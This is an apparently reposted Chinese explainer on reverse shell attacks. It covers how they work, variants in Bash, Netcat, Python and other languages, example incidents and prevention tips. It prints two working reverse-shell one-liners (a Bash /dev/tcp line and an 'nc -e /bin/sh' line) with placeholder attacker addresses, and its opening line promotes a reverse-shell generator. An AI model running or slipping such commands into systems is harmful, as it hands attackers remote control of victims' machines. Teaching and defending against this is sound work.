回复"反弹shell"获取反弹shell命令在线生成工具仓库和下载链接
反向 shell 是什么?
反向 shell 攻击是一种网络攻击,其中威胁行为者建立从目标计算机(受害者的)到其计算机的连接。反向 shell 攻击通常通过 TCP 执行,在极少数情况下也通过 ICMP 或 UDP 执行。反向 shell 攻击的目标是为攻击者提供未经授权的远程访问,以重定向来自远程主机(受害者) 网络的传出连接。
反向shell如何工作?
反向 shell 攻击利用RCE漏洞(命令注入或代码注入)。它们分三个阶段发生:连接启动、反向 shell 和命令注入。它的工作原理如下:
-
攻击者通过利用系统漏洞(例如端口转发和开放端口)的远程代码执行来危害目标系统。由于防火墙规则在开放端口上更容易绕过,因此攻击者可以通过端口 80 或 443 等端口获得访问权限,这些端口通常默认情况下是开放的。 -
接下来,攻击者部署一个有效负载,建立从受害者计算机到远程计算机的连接。攻击者的远程系统侦听并接受请求,允许他们进行管理访问以利用受害者的系统。由于连接是传出的,因此可以绕过仅检测传入连接的安全机制。(这是反向 shell 和绑定 shell 之间的一个重要区别。与反向 shell 不同,绑定 shell 可能更容易发现,因为连接是由攻击者的系统发起的。) -
为了维持持久访问,攻击者通过端口转发绕过网络过滤。攻击者还可能使用代理服务器或隧道技术来掩盖其连接的来源。为了隐藏恶意通信,攻击者使用加密,但这会在过程中增加额外的握手,从而使检测通信流变得更加困难。
-
Bash 反向 shell: Bash 反向 shell 是一种使用简单的一行命令执行的 Unix shell。例如:
bash -i >& /dev/tcp/attackers_ip/attackers_port 0>&1
在此命令中,/dev/tcp/attackers_ip/attackers_port
代表反向 shell 将连接到的 IP 地址和端口号。
-
Java 反向 shell: Java 反向 shell 是使用 java.net.Socket 等库实现的。此攻击涉及与威胁行为者的服务器建立套接字连接以启用远程命令执行。 -
Netcat 反向 shell: Netcat 反向 shell 的一个示例是
nc -e /bin/sh attackers_ip attackers_port
在此命令中,Netcat 执行到指定 IP 地址和端口的 shell 连接,以建立反向 shell。
-
Perl 反向 shell: IO::Socket 模块通常用于启动 Perl 反向 shell 连接,从而实现受害者和攻击者系统之间的双向通信。 -
PHP 反向 shell:对于 PHP 反向 shell,攻击者使用 PHP 的套接字函数(open 和 exec)打开从受害者系统到其系统的连接。然后,威胁参与者执行命令将通信重定向到他们的系统。 -
Python 反向 shell: Python 提供强大的网络功能,使其非常适合创建反向 shell 连接。Python 反向 shell 涉及使用“socket”库来创建套接字连接。 -
Ruby 反向 shell: Ruby 反向 shell 攻击涉及创建到攻击者服务器的套接字连接,并建立双向通信以在受害者系统中执行命令。
反向 shell 的真实示例
1.阿里巴巴PostgreSQL数据库#BrokenSesame漏洞
2. IBM Cloud PostgreSQL 数据库中的Hell's Keychain 漏洞
3.npm反向shell漏洞
反向shell攻击预防和检测技巧
1. 完成定期安全审核
2. 优先考虑依赖管理
3.实施定期补丁管理
4. 关注基于主机和容器的安全实践
5. 保持严格的访问和网络控制
6.利用日志监控和行为分析
7. 使用防火墙和 IDS
八、员工教育
原文始发于微信公众号(黑伞安全):科普文:什么是反弹 Shell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论